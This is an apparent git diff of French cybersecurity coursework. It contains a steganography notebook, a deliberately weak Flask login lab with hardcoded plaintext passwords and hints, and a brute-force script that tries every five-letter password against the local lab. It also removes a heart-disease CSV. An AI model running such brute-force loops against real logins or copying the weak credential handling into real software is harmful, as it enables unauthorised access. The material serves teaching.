PAaAoYTQGjWWCEg9EUMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwhPAaAoYTQGjWWCEg9EUMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwhPAaAoYTQGjWWCEg9EUMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwhPAaAoYTQGjWWCEA8BGfAoAADMZJv0gGr2bAAAAAElFTkSuQmCC",
"text/plain": [
"<PIL.BmpImagePlugin.BmpImageFile image mode=L size=256x256>"
]
},
"metadata": {},
"output_type": "display_data"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Message : Decode this!\n"
]
}
],
"source": [
"display(Image.open(nom_fichier))\n",
"# 2. Cacher le message\n",
"cacher_messageGSB(nom_fichier, mon_message, nom_fichier_sortie)\n",
"\n",
"#display the image\n",
"display(Image.open(nom_fichier_sortie))\n",
"\n",
"# 3. Extraire le message\n",
"message_trouve = extraire_messageGSB(nom_fichier_sortie)\n",
"print(f\"Message : {message_trouve}\")\n"
]
},
{
"cell_type": "markdown",
"metadata": {
"id": "sITRU6MzoIpA"
},
"source": [
"Avec une clé"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"id": "4vYMdWoxoIWZ"
},
"outputs": [],
"source": [
"def generer_positions(cle, nb_bits_necessaires, max_pixels):\n",
" # On transforme la clé (ex: 1369) en une liste d'entiers [1, 3, 6, 9]\n",
" sauts = [int(chiffre) for chiffre in str(cle)]\n",
"\n",
" positions = []\n",
" pos_actuelle = 0\n",
"\n",
" for i in range(nb_bits_necessaires):\n",
" saut = sauts[i % len(sauts)]\n",
" # Sécurité : si un chiffre de la clé est 0, on avance d'au moins 1\n",
" # pour ne pas écraser le même pixel\n",
" if saut == 0:\n",
" saut = 1\n",
"\n",
" pos_actuelle += saut\n",
"\n",
" # On vérifie qu'on ne dépasse pas la fin de l'image\n",
" if pos_actuelle >= max_pixels:\n",
" raise ValueError(f\"The image is too small. It can only hold {i} bits with this key.\")\n",
"\n",
" positions.append(pos_actuelle)\n",
"\n",
" return positions\n",
"\n",
"# --- 2. ENCODAGE AVEC CLÉ ---\n",
"\n",
"def cacher_message_cle(chemin_image_entree, message_secret, cle, chemin_image_sortie):\n",
" img = Image.open(chemin_image_entree).convert(\"L\")\n",
" pixels_plats = np.array(img).flatten()\n",
"\n",
" message_binaire = texte_vers_binaire(message_secret + DELIMITEUR)\n",
"\n",
" # On génère exactement les positions dont on a besoin\n",
" positions = generer_positions(cle, len(message_binaire), len(pixels_plats))\n",
"\n",
" # On remplace les LSB uniquement sur ces positions précises\n",
" for i in range(len(message_binaire)):\n",
" pos = positions[i]\n",
" bit_a_cacher = int(message_binaire[i])\n",
" pixels_plats[pos] = (pixels_plats[pos] & 254) | bit_a_cacher\n",
"\n",
" img_modifiee = Image.fromarray(pixels_plats.reshape(np.array(img).shape), mode=\"L\")\n",
" img_modifiee.save(chemin_image_sortie, format=\"BMP\")\n",
" print(f\"Hidden message found with key '{cle}' !\")\n",
"\n",
"# --- 3. DÉCODAGE AVEC CLÉ ---\n",
"\n",
"def extraire_message_cle(chemin_image, cle):\n",
" img = Image.open(chemin_image).convert(\"L\")\n",
" pixels_plats = np.array(img).flatten()\n",
"\n",
" sauts = [int(chiffre) for chiffre in str(cle)]\n",
" pos_actuelle = 0\n",
" index_saut = 0\n",
"\n",
" bits_extraits = \"\"\n",
" message_decode = \"\"\n",
"\n",
" # On parcourt l'image en sautant de pixel en pixel selon la clé\n",
" while pos_actuelle < len(pixels_plats):\n",
" saut = sauts[index_saut % len(sauts)]\n",
" if saut == 0: saut = 1\n",
" pos_actuelle += saut\n",
"\n",
" if pos_actuelle >= len(pixels_plats):\n",
" break\n",
"\n",
" # On extrait le bit\n",
" bits_extraits += str(pixels_plats[pos_actuelle] & 1)\n",
" index_saut += 1\n",
"\n",
" # Tous les 8 bits, on convertit en texte\n",
" if len(bits_extraits) == 8:\n",
" message_decode += chr(int(bits_extraits, 2))\n",
" bits_extraits = \"\"\n",
"\n",
" # On s'arrête si on trouve le délimiteur\n",
" if message_decode.endswith(DELIMITEUR):\n",
" return message_decode[:-len(DELIMITEUR)]\n",
"\n",
" return \"No hidden message found.\"\n"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"colab": {
"base_uri": "https://localhost:8080/"
},
"id": "pf1ydHiSpkno",
"outputId": "3bf962b6-0169-4ad8-a168-2971c308174c"
},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Hidden message found with key '1369' !\n",
"Test right key : Try out keys!\n",
"Test wrong key : No hidden message found.\n"
]
},
{
"name": "stderr",
"output_type": "stream",
"text": [
"/var/folders/qx/qc20ksl50kb3r1gbtqwgqm2h0000gn/T/ipykernel_3336/840764186.py:42: DeprecationWarning: 'mode' parameter is deprecated and will be removed in Pillow 13 (2026-10-15)\n",
" img_modifiee = Image.fromarray(pixels_plats.reshape(np.array(img).shape), mode='L')\n"
]
}
],
"source": [
"image_originale = \"image_test_8bits.bmp\"\n",
"image_stego_cle = \"image_test_stego_cle.bmp\"\n",
"mon_message = \"Try out keys!\"\n",
"ma_cle = 1369\n",
"\n",
"# 1. On cache\n",
"cacher_message_cle(image_originale, mon_message, ma_cle, image_stego_cle)\n",
"\n",
"# 2. On extrait avec la BONNE clé\n",
"print(\"Test right key :\", extraire_message_cle(image_stego_cle, 1369))\n",
"\n",
"# 3. On extrait avec une MAUVAISE clé (ça devrait sortir n'importe quoi ou échouer)\n",
"print(\"Test wrong key :\", extraire_message_cle(image_stego_cle, 4444))\n"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"colab": {
"provenance": []
},
"kernelspec": {
"display_name": "studies (3.13.9)",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.13.9"
}
},
"nbformat": 4,
"nbformat_minor": 0
}

315
M2/Cybersecurity/TP_MDP.py Normal file
View File

@@ -0,0 +1,315 @@
#!/usr/bin/env python3
import re
from flask import (
Flask,
Response,
redirect,
render_template_string,
request,
session,
url_for,
)
app = Flask(__name__)
app.secret_key = "super_secret_training_key_2025"
# Dictionnaire des utilisateurs : username -> password
users = {
"user1": "aaaaa", # 5 caractères
"user2": "rock12", # exemple autre mot de passe
"user3": "secret",
"user4": "#-1234abcd-#", # mot de passe niveau 4
}
# Page de connexion avec sélecteur de niveau + Tailwind + Logo
login_page = """
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Authentification</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-blue-50 flex items-center justify-center h-screen">
<div class="w-full max-w-md p-8 bg-white rounded shadow">
<div class="flex justify-center mb-4">
<img src="{{ url_for('static', filename='logo.png') }}" alt="Logo" class="h-16">
</div>
<h2 class="text-2xl font-bold text-center mb-4 text-blue-700">Connexion</h2>
{% if error %}
<p class="text-red-500 text-center">{{ error }}</p>
{% endif %}
<form method="POST" class="space-y-4">
<div>
<label class="block text-blue-700">Nom d'utilisateur :</label>
<input type="text" name="username" class="w-full px-3 py-2 border rounded" required>
</div>
<div>
<label class="block text-blue-700">Mot de passe :</label>
<input type="password" name="password" class="w-full px-3 py-2 border rounded" required>
</div>
<div>
<label class="block text-blue-700">Niveau :</label>
<select name="level" class="w-full px-3 py-2 border rounded">
<option value="1">Niveau 1</option>
<option value="2">Niveau 2</option>
<option value="3">Niveau 3</option>
<option value="4">Niveau 4</option>
</select>
</div>
<div class="text-center">
<button type="submit" class="bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">
Se connecter
</button>
</div>
</form>
<div class="text-center mt-4">
<a href="{{ url_for('forgot') }}" class="text-blue-600 hover:underline">Mot de passe oublié ?</a>
</div>
</div>
</body>
</html>
"""
# Page d'accueil Niveau 1
home_page_level1 = """
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Accueil Niveau 1</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-blue-100 flex items-center justify-center h-screen">
<div class="bg-white p-8 rounded shadow-lg max-w-md text-center">
<div class="flex justify-center mb-4">
<img src="{{ url_for('static', filename='logo.png') }}" alt="Logo" class="h-16">
</div>
<h2 class="text-3xl font-bold text-blue-700">Bienvenue, {{ username }} !</h2>
<p class="mt-4 text-blue-600">Vous êtes connecté au <strong>Niveau 1</strong>.</p>
<p class="mt-2 text-blue-600">Mot de passe de 5 caractères.</p>
<a href="{{ url_for('logout') }}"
class="mt-6 inline-block bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">
Déconnexion
</a>
</div>
</body>
</html>
"""
# Page d'accueil Niveau 2
home_page_level2 = """
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Accueil Niveau 2</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-blue-100 flex items-center justify-center h-screen">
<div class="bg-white p-8 rounded shadow-lg max-w-md text-center">
<div class="flex justify-center mb-4">
<img src="{{ url_for('static', filename='logo.png') }}" alt="Logo" class="h-16">
</div>
<h2 class="text-3xl font-bold text-blue-700">Bienvenue, {{ username }} !</h2>
<p class="mt-4 text-blue-600">Vous êtes connecté au <strong>Niveau 2</strong>.</p>
<p class="mt-2 text-blue-600">Mot de passe : "rock12".</p>
<a href="{{ url_for('logout') }}"
class="mt-6 inline-block bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">
Déconnexion
</a>
</div>
</body>
</html>
"""
# Page d'accueil Niveau 3
home_page_level3 = """
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Accueil Niveau 3</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-blue-100 flex items-center justify-center h-screen">
<div class="bg-white p-8 rounded shadow-lg max-w-md text-center">
<div class="flex justify-center mb-4">
<img src="{{ url_for('static', filename='logo.png') }}" alt="Logo" class="h-16">
</div>
<h2 class="text-3xl font-bold text-blue-700">Bienvenue, {{ username }} !</h2>
<p class="mt-4 text-blue-600">Vous êtes connecté au <strong>Niveau 3</strong>.</p>
<p class="mt-2 text-blue-600">En cas de "mot de passe oublié", le hash MD5 vous sera fourni.</p>
<a href="{{ url_for('logout') }}"
class="mt-6 inline-block bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">
Déconnexion
</a>
</div>
</body>
</html>
"""
# Page d'accueil Niveau 4
home_page_level4 = """
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Accueil Niveau 4</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-blue-100 flex items-center justify-center h-screen">
<div class="bg-white p-8 rounded shadow-lg max-w-md text-center">
<div class="flex justify-center mb-4">
<img src="{{ url_for('static', filename='logo.png') }}" alt="Logo" class="h-16">
</div>
<h2 class="text-3xl font-bold text-blue-700">Bienvenue, {{ username }} !</h2>
<p class="mt-4 text-blue-600">Vous êtes connecté au <strong>Niveau 4</strong>.</p>
<p class="mt-2 text-blue-600">Votre mot de passe doit respecter le format : "#-[0-9]{4}[a-z]{4}-#".</p>
<a href="{{ url_for('logout') }}"
class="mt-6 inline-block bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">
Déconnexion
</a>
</div>
</body>
</html>
"""
# Page "mot de passe oublié" (indice seulement si l'utilisateur est user4)
forgot_page = """
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Mot de passe oublié</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-blue-50 flex items-center justify-center h-screen">
<div class="bg-white p-8 rounded shadow max-w-md text-center">
<div class="flex justify-center mb-4">
<img src="{{ url_for('static', filename='logo.png') }}" alt="Logo" class="h-16">
</div>
<h2 class="text-2xl font-bold text-blue-700">Mot de passe oublié</h2>
{% if message %}
<p class="mt-4 text-blue-600">{{ message }}</p>
{% else %}
<form method="POST" class="mt-4 space-y-4">
<div>
<label class="block text-blue-700">Nom d'utilisateur :</label>
<input type="text" name="username" class="w-full px-3 py-2 border rounded" required>
</div>
<div>
<button type="submit"
class="bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">
Valider
</button>
</div>
</form>
{% endif %}
<div class="mt-4">
<a href="{{ url_for('login') }}" class="text-blue-600 hover:underline">Retour à la connexion</a>
</div>
</div>
</body>
</html>
"""
@app.route("/", methods=["GET", "POST"])
@app.route("/login", methods=["GET", "POST"])
def login() -> Response:
"""Page de connexion avec sélection du niveau."""
error = None
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
level_str = request.form.get("level")
# Vérifier que l'utilisateur existe
if username in users:
# Vérifier le mot de passe
if users[username] == password:
# Le niveau est choisi par l'utilisateur (pas stocké dans le dictionnaire)
try:
level = int(level_str)
except (ValueError, TypeError):
error = "Sélectionnez un niveau valide."
return render_template_string(login_page, error=error)
# On enregistre le niveau choisi dans la session
session["username"] = username
session["level"] = level
# Redirection vers la page correspondant au niveau
if level == 1:
return redirect(url_for("home1"))
if level == 2:
return redirect(url_for("home2"))
if level == 3:
return redirect(url_for("home3"))
if level == 4:
return redirect(url_for("home4"))
else:
error = "Mot de passe incorrect."
else:
error = "Utilisateur inconnu."
return render_template_string(login_page, error=error)
@app.route("/home1")
def home1() -> Response:
"""Page d'accueil pour le niveau 1."""
if "username" in session and session.get("level") == 1:
return render_template_string(home_page_level1, username=session["username"])
return redirect(url_for("login"))
@app.route("/home2")
def home2() -> Response:
"""Page d'accueil pour le niveau 2."""
if "username" in session and session.get("level") == 2:
return render_template_string(home_page_level2, username=session["username"])
return redirect(url_for("login"))
@app.route("/home3")
def home3() -> Response:
"""Page d'accueil pour le niveau 3."""
if "username" in session and session.get("level") == 3:
return render_template_string(home_page_level3, username=session["username"])
return redirect(url_for("login"))
@app.route("/home4")
def home4() -> str:
"""Page d'accueil pour le niveau 4."""
if "username" in session and session.get("level") == 4:
return render_template_string(home_page_level4, username=session["username"])
return redirect(url_for("login"))
@app.route("/logout")
def logout() -> str:
"""Déconnexion de l'utilisateur."""
session.pop("username", None)
session.pop("level", None)
return redirect(url_for("login"))
@app.route("/forgot", methods=["GET", "POST"])
def forgot() -> str:
"""Seul user4 reçoit un indice.
Les autres utilisateurs n'ont pas d'indice.
"""
message = None
if request.method == "POST":
username = request.form.get("username")
if username in users:
# Seul user4 a droit à un indice (puisque c'est le "niveau 4")
if username == "user4":
pattern = r"^#-[0-9]{4}[a-z]{4}-#$"
if re.match(pattern, users[username]):
message = ("Indice : Le mot de passe respecte le format "
"'#-MDP 8 caractères max -#' (exemple : '#-1234abcd-#').")
else:
message = "Le mot de passe ne correspond pas au format attendu (erreur)."
else:
message = "Aucun indice n'est disponible pour cet utilisateur."
else:
message = "Utilisateur non trouvé."
return render_template_string(forgot_page, message=message)
if __name__ == "__main__":
app.run(debug=False)

View File

@@ -0,0 +1,31 @@
import itertools
import string
import requests
def bruteforce_user1() -> str | None:
"""Brute-force pour trouver le mot de passe de user1."""
url = "http://127.0.0.1:5000/login"
alphabet = string.ascii_lowercase
for combination in itertools.product(alphabet, repeat=5):
password_attempt = "".join(combination)
payload = {"username": "user1", "password": password_attempt, "level": "1"}
try:
response = requests.post(url, data=payload, timeout=2)
if "Mot de passe incorrect" not in response.text:
print(f"Succès : {password_attempt}")
return password_attempt
except requests.exceptions.RequestException:
continue
return None
if __name__ == "__main__":
bruteforce_user1()

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

View File

@@ -1,304 +0,0 @@
age,sex,cp,trestbps,chol,fbs,restecg,thalach,exang,oldpeak,slope,ca,thal,target
63,1,3,145,233,1,0,150,0,2.3,0,0,1,1
37,1,2,130,250,0,1,187,0,3.5,0,0,2,1
41,0,1,130,204,0,0,172,0,1.4,2,0,2,1
56,1,1,120,236,0,1,178,0,0.8,2,0,2,1
57,0,0,120,354,0,1,163,1,0.6,2,0,2,1
57,1,0,140,192,0,1,148,0,0.4,1,0,1,1
56,0,1,140,294,0,0,153,0,1.3,1,0,2,1
44,1,1,120,263,0,1,173,0,0,2,0,3,1
52,1,2,172,199,1,1,162,0,0.5,2,0,3,1
57,1,2,150,168,0,1,174,0,1.6,2,0,2,1
54,1,0,140,239,0,1,160,0,1.2,2,0,2,1
48,0,2,130,275,0,1,139,0,0.2,2,0,2,1
49,1,1,130,266,0,1,171,0,0.6,2,0,2,1
64,1,3,110,211,0,0,144,1,1.8,1,0,2,1
58,0,3,150,283,1,0,162,0,1,2,0,2,1
50,0,2,120,219,0,1,158,0,1.6,1,0,2,1
58,0,2,120,340,0,1,172,0,0,2,0,2,1
66,0,3,150,226,0,1,114,0,2.6,0,0,2,1
43,1,0,150,247,0,1,171,0,1.5,2,0,2,1
69,0,3,140,239,0,1,151,0,1.8,2,2,2,1
59,1,0,135,234,0,1,161,0,0.5,1,0,3,1
44,1,2,130,233,0,1,179,1,0.4,2,0,2,1
42,1,0,140,226,0,1,178,0,0,2,0,2,1
61,1,2,150,243,1,1,137,1,1,1,0,2,1
40,1,3,140,199,0,1,178,1,1.4,2,0,3,1
71,0,1,160,302,0,1,162,0,0.4,2,2,2,1
59,1,2,150,212,1,1,157,0,1.6,2,0,2,1
51,1,2,110,175,0,1,123,0,0.6,2,0,2,1
65,0,2,140,417,1,0,157,0,0.8,2,1,2,1
53,1,2,130,197,1,0,152,0,1.2,0,0,2,1
41,0,1,105,198,0,1,168,0,0,2,1,2,1
65,1,0,120,177,0,1,140,0,0.4,2,0,3,1
44,1,1,130,219,0,0,188,0,0,2,0,2,1
54,1,2,125,273,0,0,152,0,0.5,0,1,2,1
51,1,3,125,213,0,0,125,1,1.4,2,1,2,1
46,0,2,142,177,0,0,160,1,1.4,0,0,2,1
54,0,2,135,304,1,1,170,0,0,2,0,2,1
54,1,2,150,232,0,0,165,0,1.6,2,0,3,1
65,0,2,155,269,0,1,148,0,0.8,2,0,2,1
65,0,2,160,360,0,0,151,0,0.8,2,0,2,1
51,0,2,140,308,0,0,142,0,1.5,2,1,2,1
48,1,1,130,245,0,0,180,0,0.2,1,0,2,1
45,1,0,104,208,0,0,148,1,3,1,0,2,1
53,0,0,130,264,0,0,143,0,0.4,1,0,2,1
39,1,2,140,321,0,0,182,0,0,2,0,2,1
52,1,1,120,325,0,1,172,0,0.2,2,0,2,1
44,1,2,140,235,0,0,180,0,0,2,0,2,1
47,1,2,138,257,0,0,156,0,0,2,0,2,1
53,0,2,128,216,0,0,115,0,0,2,0,0,1
53,0,0,138,234,0,0,160,0,0,2,0,2,1
51,0,2,130,256,0,0,149,0,0.5,2,0,2,1
66,1,0,120,302,0,0,151,0,0.4,1,0,2,1
62,1,2,130,231,0,1,146,0,1.8,1,3,3,1
44,0,2,108,141,0,1,175,0,0.6,1,0,2,1
63,0,2,135,252,0,0,172,0,0,2,0,2,1
52,1,1,134,201,0,1,158,0,0.8,2,1,2,1
48,1,0,122,222,0,0,186,0,0,2,0,2,1
45,1,0,115,260,0,0,185,0,0,2,0,2,1
34,1,3,118,182,0,0,174,0,0,2,0,2,1
57,0,0,128,303,0,0,159,0,0,2,1,2,1
71,0,2,110,265,1,0,130,0,0,2,1,2,1
54,1,1,108,309,0,1,156,0,0,2,0,3,1
52,1,3,118,186,0,0,190,0,0,1,0,1,1
41,1,1,135,203,0,1,132,0,0,1,0,1,1
58,1,2,140,211,1,0,165,0,0,2,0,2,1
35,0,0,138,183,0,1,182,0,1.4,2,0,2,1
51,1,2,100,222,0,1,143,1,1.2,1,0,2,1
45,0,1,130,234,0,0,175,0,0.6,1,0,2,1
44,1,1,120,220,0,1,170,0,0,2,0,2,1
62,0,0,124,209,0,1,163,0,0,2,0,2,1
54,1,2,120,258,0,0,147,0,0.4,1,0,3,1
51,1,2,94,227,0,1,154,1,0,2,1,3,1
29,1,1,130,204,0,0,202,0,0,2,0,2,1
51,1,0,140,261,0,0,186,1,0,2,0,2,1
43,0,2,122,213,0,1,165,0,0.2,1,0,2,1
55,0,1,135,250,0,0,161,0,1.4,1,0,2,1
51,1,2,125,245,1,0,166,0,2.4,1,0,2,1
59,1,1,140,221,0,1,164,1,0,2,0,2,1
52,1,1,128,205,1,1,184,0,0,2,0,2,1
58,1,2,105,240,0,0,154,1,0.6,1,0,3,1
41,1,2,112,250,0,1,179,0,0,2,0,2,1
45,1,1,128,308,0,0,170,0,0,2,0,2,1
60,0,2,102,318,0,1,160,0,0,2,1,2,1
52,1,3,152,298,1,1,178,0,1.2,1,0,3,1
42,0,0,102,265,0,0,122,0,0.6,1,0,2,1
67,0,2,115,564,0,0,160,0,1.6,1,0,3,1
68,1,2,118,277,0,1,151,0,1,2,1,3,1
46,1,1,101,197,1,1,156,0,0,2,0,3,1
54,0,2,110,214,0,1,158,0,1.6,1,0,2,1
58,0,0,100,248,0,0,122,0,1,1,0,2,1
48,1,2,124,255,1,1,175,0,0,2,2,2,1
57,1,0,132,207,0,1,168,1,0,2,0,3,1
52,1,2,138,223,0,1,169,0,0,2,4,2,1
54,0,1,132,288,1,0,159,1,0,2,1,2,1
45,0,1,112,160,0,1,138,0,0,1,0,2,1
53,1,0,142,226,0,0,111,1,0,2,0,3,1
62,0,0,140,394,0,0,157,0,1.2,1,0,2,1
52,1,0,108,233,1,1,147,0,0.1,2,3,3,1
43,1,2,130,315,0,1,162,0,1.9,2,1,2,1
53,1,2,130,246,1,0,173,0,0,2,3,2,1
42,1,3,148,244,0,0,178,0,0.8,2,2,2,1
59,1,3,178,270,0,0,145,0,4.2,0,0,3,1
63,0,1,140,195,0,1,179,0,0,2,2,2,1
42,1,2,120,240,1,1,194,0,0.8,0,0,3,1
50,1,2,129,196,0,1,163,0,0,2,0,2,1
68,0,2,120,211,0,0,115,0,1.5,1,0,2,1
69,1,3,160,234,1,0,131,0,0.1,1,1,2,1
45,0,0,138,236,0,0,152,1,0.2,1,0,2,1
50,0,1,120,244,0,1,162,0,1.1,2,0,2,1
50,0,0,110,254,0,0,159,0,0,2,0,2,1
64,0,0,180,325,0,1,154,1,0,2,0,2,1
57,1,2,150,126,1,1,173,0,0.2,2,1,3,1
64,0,2,140,313,0,1,133,0,0.2,2,0,3,1
43,1,0,110,211,0,1,161,0,0,2,0,3,1
55,1,1,130,262,0,1,155,0,0,2,0,2,1
37,0,2,120,215,0,1,170,0,0,2,0,2,1
41,1,2,130,214,0,0,168,0,2,1,0,2,1
56,1,3,120,193,0,0,162,0,1.9,1,0,3,1
46,0,1,105,204,0,1,172,0,0,2,0,2,1
46,0,0,138,243,0,0,152,1,0,1,0,2,1
64,0,0,130,303,0,1,122,0,2,1,2,2,1
59,1,0,138,271,0,0,182,0,0,2,0,2,1
41,0,2,112,268,0,0,172,1,0,2,0,2,1
54,0,2,108,267,0,0,167,0,0,2,0,2,1
39,0,2,94,199,0,1,179,0,0,2,0,2,1
34,0,1,118,210,0,1,192,0,0.7,2,0,2,1
47,1,0,112,204,0,1,143,0,0.1,2,0,2,1
67,0,2,152,277,0,1,172,0,0,2,1,2,1
52,0,2,136,196,0,0,169,0,0.1,1,0,2,1
74,0,1,120,269,0,0,121,1,0.2,2,1,2,1
54,0,2,160,201,0,1,163,0,0,2,1,2,1
49,0,1,134,271,0,1,162,0,0,1,0,2,1
42,1,1,120,295,0,1,162,0,0,2,0,2,1
41,1,1,110,235,0,1,153,0,0,2,0,2,1
41,0,1,126,306,0,1,163,0,0,2,0,2,1
49,0,0,130,269,0,1,163,0,0,2,0,2,1
60,0,2,120,178,1,1,96,0,0,2,0,2,1
62,1,1,128,208,1,0,140,0,0,2,0,2,1
57,1,0,110,201,0,1,126,1,1.5,1,0,1,1
64,1,0,128,263,0,1,105,1,0.2,1,1,3,1
51,0,2,120,295,0,0,157,0,0.6,2,0,2,1
43,1,0,115,303,0,1,181,0,1.2,1,0,2,1
42,0,2,120,209,0,1,173,0,0,1,0,2,1
67,0,0,106,223,0,1,142,0,0.3,2,2,2,1
76,0,2,140,197,0,2,116,0,1.1,1,0,2,1
70,1,1,156,245,0,0,143,0,0,2,0,2,1
44,0,2,118,242,0,1,149,0,0.3,1,1,2,1
60,0,3,150,240,0,1,171,0,0.9,2,0,2,1
44,1,2,120,226,0,1,169,0,0,2,0,2,1
42,1,2,130,180,0,1,150,0,0,2,0,2,1
66,1,0,160,228,0,0,138,0,2.3,2,0,1,1
71,0,0,112,149,0,1,125,0,1.6,1,0,2,1
64,1,3,170,227,0,0,155,0,0.6,1,0,3,1
66,0,2,146,278,0,0,152,0,0,1,1,2,1
39,0,2,138,220,0,1,152,0,0,1,0,2,1
58,0,0,130,197,0,1,131,0,0.6,1,0,2,1
47,1,2,130,253,0,1,179,0,0,2,0,2,1
35,1,1,122,192,0,1,174,0,0,2,0,2,1
58,1,1,125,220,0,1,144,0,0.4,1,4,3,1
56,1,1,130,221,0,0,163,0,0,2,0,3,1
56,1,1,120,240,0,1,169,0,0,0,0,2,1
55,0,1,132,342,0,1,166,0,1.2,2,0,2,1
41,1,1,120,157,0,1,182,0,0,2,0,2,1
38,1,2,138,175,0,1,173,0,0,2,4,2,1
38,1,2,138,175,0,1,173,0,0,2,4,2,1
67,1,0,160,286,0,0,108,1,1.5,1,3,2,0
67,1,0,120,229,0,0,129,1,2.6,1,2,3,0
62,0,0,140,268,0,0,160,0,3.6,0,2,2,0
63,1,0,130,254,0,0,147,0,1.4,1,1,3,0
53,1,0,140,203,1,0,155,1,3.1,0,0,3,0
56,1,2,130,256,1,0,142,1,0.6,1,1,1,0
48,1,1,110,229,0,1,168,0,1,0,0,3,0
58,1,1,120,284,0,0,160,0,1.8,1,0,2,0
58,1,2,132,224,0,0,173,0,3.2,2,2,3,0
60,1,0,130,206,0,0,132,1,2.4,1,2,3,0
40,1,0,110,167,0,0,114,1,2,1,0,3,0
60,1,0,117,230,1,1,160,1,1.4,2,2,3,0
64,1,2,140,335,0,1,158,0,0,2,0,2,0
43,1,0,120,177,0,0,120,1,2.5,1,0,3,0
57,1,0,150,276,0,0,112,1,0.6,1,1,1,0
55,1,0,132,353,0,1,132,1,1.2,1,1,3,0
65,0,0,150,225,0,0,114,0,1,1,3,3,0
61,0,0,130,330,0,0,169,0,0,2,0,2,0
58,1,2,112,230,0,0,165,0,2.5,1,1,3,0
50,1,0,150,243,0,0,128,0,2.6,1,0,3,0
44,1,0,112,290,0,0,153,0,0,2,1,2,0
60,1,0,130,253,0,1,144,1,1.4,2,1,3,0
54,1,0,124,266,0,0,109,1,2.2,1,1,3,0
50,1,2,140,233,0,1,163,0,0.6,1,1,3,0
41,1,0,110,172,0,0,158,0,0,2,0,3,0
51,0,0,130,305,0,1,142,1,1.2,1,0,3,0
58,1,0,128,216,0,0,131,1,2.2,1,3,3,0
54,1,0,120,188,0,1,113,0,1.4,1,1,3,0
60,1,0,145,282,0,0,142,1,2.8,1,2,3,0
60,1,2,140,185,0,0,155,0,3,1,0,2,0
59,1,0,170,326,0,0,140,1,3.4,0,0,3,0
46,1,2,150,231,0,1,147,0,3.6,1,0,2,0
67,1,0,125,254,1,1,163,0,0.2,1,2,3,0
62,1,0,120,267,0,1,99,1,1.8,1,2,3,0
65,1,0,110,248,0,0,158,0,0.6,2,2,1,0
44,1,0,110,197,0,0,177,0,0,2,1,2,0
60,1,0,125,258,0,0,141,1,2.8,1,1,3,0
58,1,0,150,270,0,0,111,1,0.8,2,0,3,0
68,1,2,180,274,1,0,150,1,1.6,1,0,3,0
62,0,0,160,164,0,0,145,0,6.2,0,3,3,0
52,1,0,128,255,0,1,161,1,0,2,1,3,0
59,1,0,110,239,0,0,142,1,1.2,1,1,3,0
60,0,0,150,258,0,0,157,0,2.6,1,2,3,0
49,1,2,120,188,0,1,139,0,2,1,3,3,0
59,1,0,140,177,0,1,162,1,0,2,1,3,0
57,1,2,128,229,0,0,150,0,0.4,1,1,3,0
61,1,0,120,260,0,1,140,1,3.6,1,1,3,0
39,1,0,118,219,0,1,140,0,1.2,1,0,3,0
61,0,0,145,307,0,0,146,1,1,1,0,3,0
56,1,0,125,249,1,0,144,1,1.2,1,1,2,0
43,0,0,132,341,1,0,136,1,3,1,0,3,0
62,0,2,130,263,0,1,97,0,1.2,1,1,3,0
63,1,0,130,330,1,0,132,1,1.8,2,3,3,0
65,1,0,135,254,0,0,127,0,2.8,1,1,3,0
48,1,0,130,256,1,0,150,1,0,2,2,3,0
63,0,0,150,407,0,0,154,0,4,1,3,3,0
55,1,0,140,217,0,1,111,1,5.6,0,0,3,0
65,1,3,138,282,1,0,174,0,1.4,1,1,2,0
56,0,0,200,288,1,0,133,1,4,0,2,3,0
54,1,0,110,239,0,1,126,1,2.8,1,1,3,0
70,1,0,145,174,0,1,125,1,2.6,0,0,3,0
62,1,1,120,281,0,0,103,0,1.4,1,1,3,0
35,1,0,120,198,0,1,130,1,1.6,1,0,3,0
59,1,3,170,288,0,0,159,0,0.2,1,0,3,0
64,1,2,125,309,0,1,131,1,1.8,1,0,3,0
47,1,2,108,243,0,1,152,0,0,2,0,2,0
57,1,0,165,289,1,0,124,0,1,1,3,3,0
55,1,0,160,289,0,0,145,1,0.8,1,1,3,0
64,1,0,120,246,0,0,96,1,2.2,0,1,2,0
70,1,0,130,322,0,0,109,0,2.4,1,3,2,0
51,1,0,140,299,0,1,173,1,1.6,2,0,3,0
58,1,0,125,300,0,0,171,0,0,2,2,3,0
60,1,0,140,293,0,0,170,0,1.2,1,2,3,0
77,1,0,125,304,0,0,162,1,0,2,3,2,0
